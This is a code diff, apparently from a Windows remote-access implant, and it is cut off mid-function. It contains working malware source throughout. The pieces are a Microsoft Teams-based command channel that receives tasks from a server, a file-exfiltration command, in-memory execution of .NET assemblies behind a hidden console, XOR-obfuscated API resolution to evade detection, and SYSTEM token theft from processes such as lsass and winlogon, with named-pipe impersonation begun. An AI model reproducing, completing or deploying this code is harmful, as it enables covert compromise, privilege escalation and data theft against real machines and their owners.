char *resp = graph_request(token, url, "POST", body);
free(body);
free(token);
if (!resp)
return CHANNEL_ERR;
free(resp);
return CHANNEL_OK;
}
/* read latest channel messages and find a task for this agent */
char *teams_recv(const channel_config_t *cfg, const char *agent_id)
{
if (!cfg->teams_tenant_id[0] || !cfg->teams_team_id[0])
return NULL;
char *token = teams_get_access_token(cfg);
if (!token)
return NULL;
/* fetch last 10 messages */
char url[512];
snprintf(url, sizeof(url),
"https://graph.microsoft.com/v1.0/teams/%s/channels/%s/messages"
"?$top=10&$orderby=createdDateTime+desc",
cfg->teams_team_id, cfg->teams_channel_id);
char *resp = graph_request(token, url, "GET", NULL);
free(token);
if (!resp)
return NULL;
/*
* Look for "TASK:{agent_id}:{b64}" in the message content.
* The server posts tasks as: TASK:<agent_id>:<b64_payload>
*/
char prefix[64];
snprintf(prefix, sizeof(prefix), "TASK:%s:", agent_id);
const char *p = strstr(resp, prefix);
if (!p)
{
free(resp);
return NULL;
}
p += strlen(prefix);
/* Extract until end of JSON string (next \") */
size_t i = 0, cap = 4096;
char *out = malloc(cap);
if (!out)
{
free(resp);
return NULL;
}
while (*p && *p != '"' && *p != '\\' && i < cap - 1)
out[i++] = *p++;
out[i] = '\0';
free(resp);
if (i == 0)
{
free(out);
return NULL;
}
return out;
}
+90
View File
@@ -0,0 +1,90 @@
#include "commands.h"
#include "crypto.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int cmd_download(const char *local_path, char *output_buf, size_t output_size)
{
if (!local_path || !output_buf) return -1;
HANDLE fh = CreateFileA(
local_path,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (fh == INVALID_HANDLE_VALUE) {
snprintf(output_buf, output_size,
"[download] Cannot open %s: error %lu\n",
local_path, GetLastError());
return -1;
}
LARGE_INTEGER file_size_li;
if (!GetFileSizeEx(fh, &file_size_li)) {
CloseHandle(fh);
snprintf(output_buf, output_size, "[download] GetFileSizeEx failed\n");
return -1;
}
LONGLONG file_size = file_size_li.QuadPart;
size_t max_raw = (output_size - 64) * 3 / 4;
if ((LONGLONG)max_raw < file_size) {
snprintf(output_buf, output_size,
"[download] File too large (%lld bytes, max %zu). "
"Use chunked download.\n",
file_size, max_raw);
CloseHandle(fh);
return -1;
}
uint8_t *raw = malloc((size_t)file_size);
if (!raw) {
CloseHandle(fh);
snprintf(output_buf, output_size, "[download] malloc failed\n");
return -1;
}
DWORD bytes_read = 0;
BOOL ok = ReadFile(fh, raw, (DWORD)file_size, &bytes_read, NULL);
CloseHandle(fh);
if (!ok || bytes_read != (DWORD)file_size) {
free(raw);
snprintf(output_buf, output_size, "[download] ReadFile failed: %lu\n",
GetLastError());
return -1;
}
char *b64 = base64_encode(raw, (size_t)file_size);
free(raw);
if (!b64) {
snprintf(output_buf, output_size, "[download] base64_encode failed\n");
return -1;
}
/* Output format: "[download] path:<path>\n<b64_content>" */
int hdr_len = snprintf(output_buf, output_size,
"[download] path:%s\n", local_path);
if (hdr_len < 0 || (size_t)hdr_len >= output_size) {
free(b64);
return -1;
}
size_t b64_len = strlen(b64);
size_t avail = output_size - (size_t)hdr_len - 1;
if (b64_len > avail) b64_len = avail;
memcpy(output_buf + hdr_len, b64, b64_len);
output_buf[hdr_len + b64_len] = '\0';
free(b64);
return 0;
}
+312
View File
@@ -0,0 +1,312 @@
#define COBJMACROS
#define INITGUID
#include "commands.h"
#include "crypto.h"
#include "evs_strings.h"
#include <windows.h>
#include <cguid.h>
#include <mscoree.h>
#include <oleauto.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef HRESULT(STDAPICALLTYPE *CorBind_t)(
LPCWSTR pwszVersion, LPCWSTR pwszBuildFlavor,
DWORD dwStartupFlags, REFCLSID rclsid, REFIID riid, LPVOID *ppv);
static HRESULT _disp0(IDispatch *p, LPCOLESTR name, VARIANT *out)
{
DISPID did = 0;
HRESULT hr = p->lpVtbl->GetIDsOfNames(p, &IID_NULL,
(LPOLESTR *)&name, 1, LOCALE_USER_DEFAULT, &did);
if (FAILED(hr))
return hr;
DISPPARAMS dp = {NULL, NULL, 0, 0};
if (out)
VariantInit(out);
return p->lpVtbl->Invoke(p, did, &IID_NULL, LOCALE_USER_DEFAULT,
DISPATCH_METHOD | DISPATCH_PROPERTYGET,
&dp, out, NULL, NULL);
}
static HRESULT _disp1(IDispatch *p, LPCOLESTR name, VARIANT *arg, VARIANT *out)
{
DISPID did = 0;
HRESULT hr = p->lpVtbl->GetIDsOfNames(p, &IID_NULL,
(LPOLESTR *)&name, 1, LOCALE_USER_DEFAULT, &did);
if (FAILED(hr))
return hr;
DISPPARAMS dp = {arg, NULL, 1, 0};
if (out)
VariantInit(out);
return p->lpVtbl->Invoke(p, did, &IID_NULL, LOCALE_USER_DEFAULT,
DISPATCH_METHOD | DISPATCH_PROPERTYGET,
&dp, out, NULL, NULL);
}
static HRESULT _disp_invoke3(IDispatch *p, VARIANT *vObj, VARIANT *vParams, VARIANT *out)
{
DISPID did = 0;
LPCOLESTR name = L"Invoke_3";
HRESULT hr = p->lpVtbl->GetIDsOfNames(p, &IID_NULL,
(LPOLESTR *)&name, 1, LOCALE_USER_DEFAULT, &did);
if (FAILED(hr))
return hr;
VARIANT args[2];
args[0] = *vParams;
args[1] = *vObj;
DISPPARAMS dp = {args, NULL, 2, 0};
if (out)
VariantInit(out);
return p->lpVtbl->Invoke(p, did, &IID_NULL, LOCALE_USER_DEFAULT,
DISPATCH_METHOD, &dp, out, NULL, NULL);
}
static size_t _read_pipe(HANDLE hPipe, char *buf, size_t bufsz)
{
size_t off = 0;
DWORD got = 0;
while (off < bufsz - 1)
{
DWORD avail = 0;
if (!PeekNamedPipe(hPipe, NULL, 0, NULL, &avail, NULL) || avail == 0)
{
/* wait briefly and retry once */
Sleep(50);
if (!PeekNamedPipe(hPipe, NULL, 0, NULL, &avail, NULL) || avail == 0)
break;
}
DWORD to_read = (avail < (DWORD)(bufsz - 1 - off))
? avail
: (DWORD)(bufsz - 1 - off);
if (!ReadFile(hPipe, buf + off, to_read, &got, NULL))
break;
off += got;
}
buf[off] = '\0';
return off;
}
int cmd_execasm(const uint8_t *asm_bytes, size_t asm_len,
const char *args_str,
char *output_buf, size_t output_size)
{
if (!asm_bytes || !asm_len || !output_buf || output_size < 128)
return -1;
output_buf[0] = '\0';
SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, TRUE};
HANDLE hRead = NULL, hWrite = NULL;
if (!CreatePipe(&hRead, &hWrite, &sa, 0))
{
snprintf(output_buf, output_size,
"[execasm] CreatePipe: %lu\n", GetLastError());
return -1;
}
SetHandleInformation(hRead, HANDLE_FLAG_INHERIT, 0);
AllocConsole();
HWND hwcon = GetConsoleWindow();
if (hwcon)
ShowWindow(hwcon, SW_HIDE);
HANDLE hOldOut = GetStdHandle(STD_OUTPUT_HANDLE);
HANDLE hOldErr = GetStdHandle(STD_ERROR_HANDLE);
SetStdHandle(STD_OUTPUT_HANDLE, hWrite);
SetStdHandle(STD_ERROR_HANDLE, hWrite);
HRESULT hr = E_FAIL;
int ret = -1;
char _dm[12], _fc[20];
EVS_D(_dm, EVS_dll_mscoree); EVS_D(_fc, EVS_fn_CorBindToRuntimeEx);
HMODULE hMscoree = LoadLibraryA(_dm);
SecureZeroMemory(_dm, sizeof(_dm));
if (!hMscoree)
{
SecureZeroMemory(_fc, sizeof(_fc));
snprintf(output_buf, output_size, "[execasm] clr host missing\n");
goto restore;
}
CorBind_t pCorBind = (CorBind_t)(void *)GetProcAddress(hMscoree, _fc);
SecureZeroMemory(_fc, sizeof(_fc));
if (!pCorBind)
{
snprintf(output_buf, output_size, "[execasm] CorBindToRuntimeEx missing\n");
FreeLibrary(hMscoree);
goto restore;
}
ICorRuntimeHost *pHost = NULL;
hr = pCorBind(L"v4.0.30319", L"wks", 0,
&CLSID_CorRuntimeHost, &IID_ICorRuntimeHost, (void **)&pHost);
if (FAILED(hr))
hr = pCorBind(NULL, L"wks", 0,
&CLSID_CorRuntimeHost, &IID_ICorRuntimeHost, (void **)&pHost);
if (FAILED(hr) || !pHost)
{
snprintf(output_buf, output_size,
"[execasm] CorBind: 0x%08lx\n", (unsigned long)hr);
FreeLibrary(hMscoree);
goto restore;
}
hr = ICorRuntimeHost_Start(pHost);
/* 0x80131041 = HOST_E_ALREADY_STARTED — not an error */
if (FAILED(hr) && hr != (HRESULT)0x80131041UL)
{
snprintf(output_buf, output_size,
"[execasm] CLR Start: 0x%08lx\n", (unsigned long)hr);
ICorRuntimeHost_Release(pHost);
FreeLibrary(hMscoree);
goto restore;
}
IUnknown *pDomUnk = NULL;
IDispatch *pAppDomain = NULL;
IDispatch *pAssembly = NULL;
IDispatch *pEntryPt = NULL;
SAFEARRAY *pAsmSA = NULL;
VARIANT vAsmArg, vAssembly, vEP, vObj, vParams, vRet;
hr = ICorRuntimeHost_GetDefaultDomain(pHost, &pDomUnk);
if (FAILED(hr) || !pDomUnk)
{
snprintf(output_buf, output_size,
"[execasm] GetDefaultDomain: 0x%08lx\n", (unsigned long)hr);
goto clr_stop;
}
pDomUnk->lpVtbl->QueryInterface(pDomUnk, &IID_IDispatch, (void **)&pAppDomain);
pDomUnk->lpVtbl->Release(pDomUnk);
if (!pAppDomain)
{
snprintf(output_buf, output_size, "[execasm] QI IDispatch (AppDomain)\n");
goto clr_stop;
}
{
SAFEARRAYBOUND sab = {(ULONG)asm_len, 0};
pAsmSA = SafeArrayCreate(VT_UI1, 1, &sab);
if (!pAsmSA)
{
snprintf(output_buf, output_size, "[execasm] SafeArrayCreate\n");
goto clr_stop;
}
void *pData = NULL;
SafeArrayAccessData(pAsmSA, &pData);
memcpy(pData, asm_bytes, asm_len);
SafeArrayUnaccessData(pAsmSA);
}
VariantInit(&vAsmArg);
vAsmArg.vt = VT_ARRAY | VT_UI1;
vAsmArg.parray = pAsmSA;
hr = _disp1(pAppDomain, L"Load_3", &vAsmArg, &vAssembly);
VariantClear(&vAsmArg);
pAppDomain->lpVtbl->Release(pAppDomain);
pAppDomain = NULL;
if (FAILED(hr) || vAssembly.vt != VT_DISPATCH || !vAssembly.pdispVal)
{
snprintf(output_buf, output_size,
"[execasm] AppDomain.Load_3: 0x%08lx\n", (unsigned long)hr);
goto clr_stop;
}
pAssembly = vAssembly.pdispVal;
hr = _disp0(pAssembly, L"get_EntryPoint", &vEP);
pAssembly->lpVtbl->Release(pAssembly);
pAssembly = NULL;
if (FAILED(hr) || vEP.vt != VT_DISPATCH || !vEP.pdispVal)
{
snprintf(output_buf, output_size,
"[execasm] get_EntryPoint: 0x%08lx (no static Main?)\n",
(unsigned long)hr);
goto clr_stop;
}
pEntryPt = vEP.pdispVal;
VariantInit(&vObj);
vObj.vt = VT_NULL;
VariantInit(&vParams);
vParams.vt = VT_NULL;
if (args_str && args_str[0])
{
char *dup = _strdup(args_str);
int nargs = 0;
char *tok = strtok(dup, " \t");
while (tok)
{
nargs++;
tok = strtok(NULL, " \t");
}
free(dup);
if (nargs > 0)
{
SAFEARRAYBOUND sb = {(ULONG)nargs, 0};
SAFEARRAY *pStrSA = SafeArrayCreate(VT_VARIANT, 1, &sb);
dup = _strdup(args_str);
long i = 0;
tok = strtok(dup, " \t");
while (tok && i < nargs)
{
VARIANT vs;
VariantInit(&vs);
vs.vt = VT_BSTR;
int wlen = MultiByteToWideChar(CP_ACP, 0, tok, -1, NULL, 0);
vs.bstrVal = SysAllocStringLen(NULL, (UINT)(wlen - 1));
MultiByteToWideChar(CP_ACP, 0, tok, -1, vs.bstrVal, wlen);
SafeArrayPutElement(pStrSA, &i, &vs);
VariantClear(&vs);
i++;
tok = strtok(NULL, " \t");
}
free(dup);
vParams.vt = VT_ARRAY | VT_VARIANT;
vParams.parray = pStrSA;
}
}
VariantInit(&vRet);
hr = _disp_invoke3(pEntryPt, &vObj, &vParams, &vRet);
VariantClear(&vParams);
VariantClear(&vRet);
pEntryPt->lpVtbl->Release(pEntryPt);
pEntryPt = NULL;
ret = (SUCCEEDED(hr) || hr == (HRESULT)0x80131604UL) ? 0 : -1;
if (ret != 0)
snprintf(output_buf, output_size,
"[execasm] Invoke_3: 0x%08lx\n", (unsigned long)hr);
clr_stop:
ICorRuntimeHost_Stop(pHost);
ICorRuntimeHost_Release(pHost);
FreeLibrary(hMscoree);
restore:
SetStdHandle(STD_OUTPUT_HANDLE, hOldOut);
SetStdHandle(STD_ERROR_HANDLE, hOldErr);
CloseHandle(hWrite);
FreeConsole();
{
size_t off = strlen(output_buf);
size_t avail = output_size > off ? output_size - off - 1 : 0;
if (avail > 0)
off += _read_pipe(hRead, output_buf + off, avail + 1);
if (off == 0)
snprintf(output_buf, output_size, "(no output)\n");
}
CloseHandle(hRead);
return ret;
}
+186
View File
@@ -0,0 +1,186 @@
/*
* fs.c — filesystem commands: ls, mkdir, rm, cp, mv
*/
#include "commands.h"
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
/* internal helpers */
static void _ftime_str(const FILETIME *ft, char *buf, size_t sz)
{
SYSTEMTIME st;
FILETIME local;
FileTimeToLocalFileTime(ft, &local);
FileTimeToSystemTime(&local, &st);
snprintf(buf, sz, "%04u-%02u-%02u %02u:%02u",
(unsigned)st.wYear, (unsigned)st.wMonth,
(unsigned)st.wDay, (unsigned)st.wHour,
(unsigned)st.wMinute);
}
/* return 1 if path is an existing directory */
static int _is_dir(const char *path)
{
DWORD attr = GetFileAttributesA(path);
return (attr != INVALID_FILE_ATTRIBUTES) &&
(attr & FILE_ATTRIBUTE_DIRECTORY);
}
/* list directory contents */
int cmd_ls(const char *path, char *output_buf, size_t output_size)
{
char pattern[MAX_PATH];
if (!path || !path[0])
path = ".";
/* append \* if path is a directory with no wildcard */
if (!strchr(path, '*') && !strchr(path, '?') && _is_dir(path)) {
size_t plen = strlen(path);
if (plen + 3 >= sizeof(pattern)) {
snprintf(output_buf, output_size, "[ls] path too long\n");
return -1;
}
memcpy(pattern, path, plen);
pattern[plen] = '\\';
pattern[plen+1] = '*';
pattern[plen+2] = '\0';
} else {
strncpy(pattern, path, sizeof(pattern) - 1);
pattern[sizeof(pattern) - 1] = '\0';
}
WIN32_FIND_DATAA fd;
HANDLE h = FindFirstFileA(pattern, &fd);
if (h == INVALID_HANDLE_VALUE) {
snprintf(output_buf, output_size,
"[ls] %s: %lu\n", path, GetLastError());
return -1;
}
/* column header */
size_t pos = 0;
int n = snprintf(output_buf + pos, output_size - pos,
"%-1s %-16s %12s %s\n",
"T", "Date modified", "Size", "Name");
if (n > 0) pos += (size_t)n;
do {
if (strcmp(fd.cFileName, ".") == 0 || strcmp(fd.cFileName, "..") == 0)
continue;
int is_dir = (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0;
char date[32];
_ftime_str(&fd.ftLastWriteTime, date, sizeof(date));
ULONGLONG size_bytes = ((ULONGLONG)fd.nFileSizeHigh << 32) | fd.nFileSizeLow;
if (is_dir)
n = snprintf(output_buf + pos, output_size - pos,
"d %-16s %12s %s\n",
date, "<DIR>", fd.cFileName);
else
n = snprintf(output_buf + pos, output_size - pos,
"f %-16s %12llu %s\n",
date, size_bytes, fd.cFileName);
if (n > 0 && (size_t)n < output_size - pos)
pos += (size_t)n;
else
break; /* buffer full */
} while (FindNextFileA(h, &fd));
FindClose(h);
return 0;
}
/* create a directory */
int cmd_mkdir(const char *path, char *output_buf, size_t output_size)
{
if (!path || !path[0]) {
snprintf(output_buf, output_size, "[mkdir] usage: mkdir <path>\n");
return -1;
}
if (CreateDirectoryA(path, NULL)) {
snprintf(output_buf, output_size, "[mkdir] created: %s\n", path);
return 0;
}
DWORD err = GetLastError();
if (err == ERROR_ALREADY_EXISTS) {
snprintf(output_buf, output_size, "[mkdir] already exists: %s\n", path);
return 0;
}
snprintf(output_buf, output_size,
"[mkdir] failed: %s err=%lu\n", path, err);
return -1;
}
/* delete a file or empty directory */
int cmd_rm(const char *path, char *output_buf, size_t output_size)
{
if (!path || !path[0]) {
snprintf(output_buf, output_size, "[rm] usage: rm <path>\n");
return -1;
}
DWORD attr = GetFileAttributesA(path);
if (attr == INVALID_FILE_ATTRIBUTES) {
snprintf(output_buf, output_size,
"[rm] not found: %s\n", path);
return -1;
}
BOOL ok;
if (attr & FILE_ATTRIBUTE_DIRECTORY)
ok = RemoveDirectoryA(path);
else
ok = DeleteFileA(path);
if (ok) {
snprintf(output_buf, output_size, "[rm] deleted: %s\n", path);
return 0;
}
snprintf(output_buf, output_size,
"[rm] failed: %s err=%lu\n", path, GetLastError());
return -1;
}
/* ---- cp ---- */
int cmd_cp(const char *src, const char *dst, char *output_buf, size_t output_size)
{
if (!src || !src[0] || !dst || !dst[0]) {
snprintf(output_buf, output_size, "[cp] usage: cp <src> <dst>\n");
return -1;
}
if (CopyFileA(src, dst, FALSE)) {
snprintf(output_buf, output_size, "[cp] %s -> %s\n", src, dst);
return 0;
}
snprintf(output_buf, output_size,
"[cp] failed: %s -> %s err=%lu\n", src, dst, GetLastError());
return -1;
}
/* ---- mv ---- */
int cmd_mv(const char *src, const char *dst, char *output_buf, size_t output_size)
{
if (!src || !src[0] || !dst || !dst[0]) {
snprintf(output_buf, output_size, "[mv] usage: mv <src> <dst>\n");
return -1;
}
if (MoveFileExA(src, dst, MOVEFILE_REPLACE_EXISTING | MOVEFILE_COPY_ALLOWED)) {
snprintf(output_buf, output_size, "[mv] %s -> %s\n", src, dst);
return 0;
}
snprintf(output_buf, output_size,
"[mv] failed: %s -> %s err=%lu\n", src, dst, GetLastError());
return -1;
}
+48
View File
@@ -0,0 +1,48 @@
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <string.h>
int cmd_getpid(const char *name, char *out, size_t sz)
{
if (!name || !name[0]) {
snprintf(out, sz, "[getpid] usage: getpid <process_name>\n");
return -1;
}
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) {
snprintf(out, sz, "[getpid] snapshot failed: %lu\n", GetLastError());
return -1;
}
PROCESSENTRY32 pe = { sizeof(pe) };
size_t off = 0;
int found = 0;
/* build name_exe: append .exe if not already present */
char name_exe[MAX_PATH];
strncpy(name_exe, name, sizeof(name_exe) - 5);
name_exe[sizeof(name_exe) - 5] = '\0';
size_t nlen = strlen(name_exe);
if (nlen < 4 || _stricmp(name_exe + nlen - 4, ".exe") != 0)
strcat(name_exe, ".exe");
if (Process32First(snap, &pe)) do {
if (_stricmp(pe.szExeFile, name) == 0 ||
_stricmp(pe.szExeFile, name_exe) == 0) {
int n = snprintf(out + off, sz - off, "%lu\t%s\n",
(unsigned long)pe.th32ProcessID, pe.szExeFile);
if (n > 0) off += (size_t)n;
found++;
}
} while (Process32Next(snap, &pe) && off < sz - 1);
CloseHandle(snap);
if (!found) {
snprintf(out, sz, "[getpid] no process named '%s'\n", name);
return -1;
}
return 0;
}
+560
View File
@@ -0,0 +1,560 @@
#include "evasion.h"
#include "inject.h"
#include "beacon.h"
#include "evs_strings.h"
#include "peb_walk.h"
#include "adv_lazy.h"
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
/* GetComputerNameW */
typedef BOOL(WINAPI *_GCNW_t)(LPWSTR, LPDWORD);
static BOOL _gcnw(LPWSTR buf, LPDWORD sz)
{
static _GCNW_t fn = NULL;
if (!fn)
{
char fs[20], ks[14];
volatile unsigned char xk = EVS_KEY;
for (int i = 0; i < (int)sizeof(EVS_fn_GetComputerNameW); i++)
fs[i] = (char)(EVS_fn_GetComputerNameW[i] ^ xk);
fs[sizeof(EVS_fn_GetComputerNameW)] = '\0';
for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++)
ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
ks[sizeof(EVS_dll_kernel32)] = '\0';
HMODULE m = _peb_module(ks);
SecureZeroMemory(ks, sizeof(ks));
if (m)
fn = (_GCNW_t)(void *)GetProcAddress(m, fs);
SecureZeroMemory(fs, sizeof(fs));
}
return fn ? fn(buf, sz) : FALSE;
}
/* All advapi32 / kernel32 token/pipe APIs resolved at runtime. */
typedef BOOL(WINAPI *fn_OpenProcessToken_t)(HANDLE, DWORD, PHANDLE);
typedef BOOL(WINAPI *fn_OpenThreadToken_t)(HANDLE, DWORD, BOOL, PHANDLE);
typedef BOOL(WINAPI *fn_DuplicateTokenEx_t)(HANDLE, DWORD, LPSECURITY_ATTRIBUTES, SECURITY_IMPERSONATION_LEVEL, TOKEN_TYPE, PHANDLE);
typedef BOOL(WINAPI *fn_GetTokenInformation_t)(HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD);
typedef BOOL(WINAPI *fn_SetThreadToken_t)(PHANDLE, HANDLE);
typedef BOOL(WINAPI *fn_RevertToSelf_t)(void);
typedef BOOL(WINAPI *fn_LookupPrivilegeValueA_t)(LPCSTR, LPCSTR, PLUID);
typedef BOOL(WINAPI *fn_PrivilegeCheck_t)(HANDLE, PPRIVILEGE_SET, LPBOOL);
typedef BOOL(WINAPI *fn_AllocateAndInitializeSid_t)(PSID_IDENTIFIER_AUTHORITY, BYTE, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, PSID *);
typedef BOOL(WINAPI *fn_EqualSid_t)(PSID, PSID);
typedef PVOID(WINAPI *fn_FreeSid_t)(PSID);
typedef BOOL(WINAPI *fn_ImpersonateNamedPipeClient_t)(HANDLE);
typedef HANDLE(WINAPI *fn_CreateNamedPipeA_t)(LPCSTR, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, LPSECURITY_ATTRIBUTES);
typedef BOOL(WINAPI *fn_ConnectNamedPipe_t)(HANDLE, LPOVERLAPPED);
typedef BOOL(WINAPI *fn_CreateProcessWithTokenW_t)(HANDLE, DWORD, LPCWSTR, LPWSTR, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
typedef BOOL(WINAPI *fn_CreateProcessAsUserW_t)(HANDLE, LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
typedef struct
{
fn_OpenProcessToken_t OpenProcessToken;
fn_OpenThreadToken_t OpenThreadToken;
fn_DuplicateTokenEx_t DuplicateTokenEx;
fn_GetTokenInformation_t GetTokenInformation;
fn_SetThreadToken_t SetThreadToken;
fn_RevertToSelf_t RevertToSelf;
fn_LookupPrivilegeValueA_t LookupPrivilegeValueA;
fn_PrivilegeCheck_t PrivilegeCheck;
fn_AllocateAndInitializeSid_t AllocateAndInitializeSid;
fn_EqualSid_t EqualSid;
fn_FreeSid_t FreeSid;
fn_ImpersonateNamedPipeClient_t ImpersonateNamedPipeClient;
fn_CreateNamedPipeA_t CreateNamedPipeA;
fn_ConnectNamedPipe_t ConnectNamedPipe;
fn_CreateProcessWithTokenW_t CreateProcessWithTokenW;
fn_CreateProcessAsUserW_t CreateProcessAsUserW;
} gs_api_t;
static int _resolve_apis(gs_api_t *api)
{
/* APIs already EVS-resolved by adv_lazy — reuse, no duplicate resolution */
const adv_api_t *adv = adv_get();
if (!adv) return -1;
api->OpenProcessToken = adv->OpenProcessToken;
api->OpenThreadToken = adv->OpenThreadToken;
api->DuplicateTokenEx = adv->DuplicateTokenEx;
api->LookupPrivilegeValueA = adv->LookupPrivilegeValueA;
api->RevertToSelf = adv->RevertToSelf;
/* Module handles via EVS-decoded names + PEB walk — no plaintext in binary */
char dll_a[13], dll_k[13];
EVS_D(dll_a, EVS_dll_advapi32);
EVS_D(dll_k, EVS_dll_kernel32);
HMODULE had = _peb_module(dll_a);
HMODULE hk32 = _peb_module(dll_k);
SecureZeroMemory(dll_a, sizeof(dll_a));
SecureZeroMemory(dll_k, sizeof(dll_k));
if (!had || !hk32) return -1;
/* Remaining APIs — EVS XOR bytes at rest, decoded to stack, cleared after use */
char fn[28];
EVS_D(fn, EVS_fn_GetTokenInformation);
api->GetTokenInformation = (fn_GetTokenInformation_t)(void *)GetProcAddress(had, fn);
SecureZeroMemory(fn, sizeof(fn));
EVS_D(fn, EVS_fn_SetThreadToken);
api->SetThreadToken = (fn_SetThreadToken_t)(void *)GetProcAddress(had, fn);
SecureZeroMemory(fn, sizeof(fn));
EVS_D(fn, EVS_fn_PrivilegeCheck);
api->PrivilegeCheck = (fn_PrivilegeCheck_t)(void *)GetProcAddress(had, fn);
SecureZeroMemory(fn, sizeof(fn));
EVS_D(fn, EVS_fn_AllocateAndInitializeSid);
api->AllocateAndInitializeSid = (fn_AllocateAndInitializeSid_t)(void *)GetProcAddress(had, fn);
SecureZeroMemory(fn, sizeof(fn));
EVS_D(fn, EVS_fn_EqualSid);
api->EqualSid = (fn_EqualSid_t)(void *)GetProcAddress(had, fn);
SecureZeroMemory(fn, sizeof(fn));
EVS_D(fn, EVS_fn_FreeSid);
api->FreeSid = (fn_FreeSid_t)(void *)GetProcAddress(had, fn);
SecureZeroMemory(fn, sizeof(fn));
EVS_D(fn, EVS_fn_ImpersonateNamedPipeClient);
api->ImpersonateNamedPipeClient = (fn_ImpersonateNamedPipeClient_t)(void *)GetProcAddress(had, fn);
SecureZeroMemory(fn, sizeof(fn));
EVS_D(fn, EVS_fn_CreateProcessWithTokenW);
api->CreateProcessWithTokenW = (fn_CreateProcessWithTokenW_t)(void *)GetProcAddress(had, fn);
SecureZeroMemory(fn, sizeof(fn));
EVS_D(fn, EVS_fn_CreateProcessAsUserW);
api->CreateProcessAsUserW = (fn_CreateProcessAsUserW_t)(void *)GetProcAddress(had, fn);
SecureZeroMemory(fn, sizeof(fn));
EVS_D(fn, EVS_fn_CreateNamedPipeA);
api->CreateNamedPipeA = (fn_CreateNamedPipeA_t)(void *)GetProcAddress(hk32, fn);
SecureZeroMemory(fn, sizeof(fn));
EVS_D(fn, EVS_fn_ConnectNamedPipe);
api->ConnectNamedPipe = (fn_ConnectNamedPipe_t)(void *)GetProcAddress(hk32, fn);
SecureZeroMemory(fn, sizeof(fn));
return (api->OpenProcessToken && api->DuplicateTokenEx &&
api->ImpersonateNamedPipeClient && api->CreateNamedPipeA)
? 0 : -1;
}
static int _is_system_sid(gs_api_t *api, HANDLE hToken)
{
BYTE buf[256];
DWORD cb = sizeof(buf);
if (!api->GetTokenInformation(hToken, TokenUser, buf, cb, &cb))
return 0;
TOKEN_USER *tu = (TOKEN_USER *)buf;
PSID sys = NULL;
SID_IDENTIFIER_AUTHORITY auth = SECURITY_NT_AUTHORITY;
if (!api->AllocateAndInitializeSid(&auth, 1, SECURITY_LOCAL_SYSTEM_RID,
0, 0, 0, 0, 0, 0, 0, &sys))
return 0;
int r = api->EqualSid(tu->User.Sid, sys);
api->FreeSid(sys);
return r;
}
/* Method 1: token theft from a SYSTEM process */
static int _steal_system_token(gs_api_t *api, HANDLE *out, char *buf, size_t sz)
{
volatile unsigned char _k = EVS_KEY;
char t0[13], t1[13], t2[12], t3[10];
for (int _i = 0; _i < (int)sizeof(EVS_str_winlogon_exe); _i++)
t0[_i] = (char)(EVS_str_winlogon_exe[_i] ^ _k);
t0[sizeof(EVS_str_winlogon_exe)] = 0;
for (int _i = 0; _i < (int)sizeof(EVS_str_services_exe); _i++)
t1[_i] = (char)(EVS_str_services_exe[_i] ^ _k);
t1[sizeof(EVS_str_services_exe)] = 0;
for (int _i = 0; _i < (int)sizeof(EVS_str_spoolsv_exe); _i++)
t2[_i] = (char)(EVS_str_spoolsv_exe[_i] ^ _k);
t2[sizeof(EVS_str_spoolsv_exe)] = 0;
for (int _i = 0; _i < (int)sizeof(EVS_str_lsass_exe); _i++)
t3[_i] = (char)(EVS_str_lsass_exe[_i] ^ _k);
t3[sizeof(EVS_str_lsass_exe)] = 0;
const char *targets[] = {t0, t1, t2, t3, NULL};
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE)
return -1;
PROCESSENTRY32 pe = {sizeof(pe)};
int found = 0;
if (Process32First(snap, &pe))
do
{
int hit = 0;
for (int i = 0; targets[i]; i++)
if (_stricmp(pe.szExeFile, targets[i]) == 0)
{
hit = 1;
break;
}
if (!hit)
continue;
/* indirect NtOpenProcess */
HANDLE hp = inject_nt_open_process(pe.th32ProcessID, PROCESS_QUERY_INFORMATION);
if (!hp)
continue;
HANDLE ht = NULL;
if (!api->OpenProcessToken(hp, TOKEN_DUPLICATE | TOKEN_QUERY, &ht))
{
CloseHandle(hp);
continue;
}
CloseHandle(hp);
if (!_is_system_sid(api, ht))
{
CloseHandle(ht);
continue;
}
HANDLE hdup = NULL;
SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, FALSE};
BOOL ok = api->DuplicateTokenEx(ht, TOKEN_ALL_ACCESS, &sa,
SecurityImpersonation, TokenImpersonation, &hdup);
CloseHandle(ht);
if (!ok)
continue;
*out = hdup;
snprintf(buf, sz, "ok:t %lu\n", (unsigned long)pe.th32ProcessID);
found = 1;
break;
} while (Process32Next(snap, &pe));
CloseHandle(snap);
return found ? 0 : -1;
}
/* Method 2: named pipe impersonation (PrintSpoofer-style) */
typedef struct
{
gs_api_t *api;
HANDLE pipe;
HANDLE token;
volatile int done;
} _pipe_ctx;
static DWORD WINAPI _pipe_thread(LPVOID p)
{
evasion_apply_thread(GetCurrentThread());
_pipe_ctx *ctx = (_pipe_ctx *)p;
gs_api_t *api = ctx->api;
if (!api->ConnectNamedPipe(ctx->pipe, NULL) &&
GetLastError() != ERROR_PIPE_CONNECTED)
{
ctx->done = -1;
return 0;
}
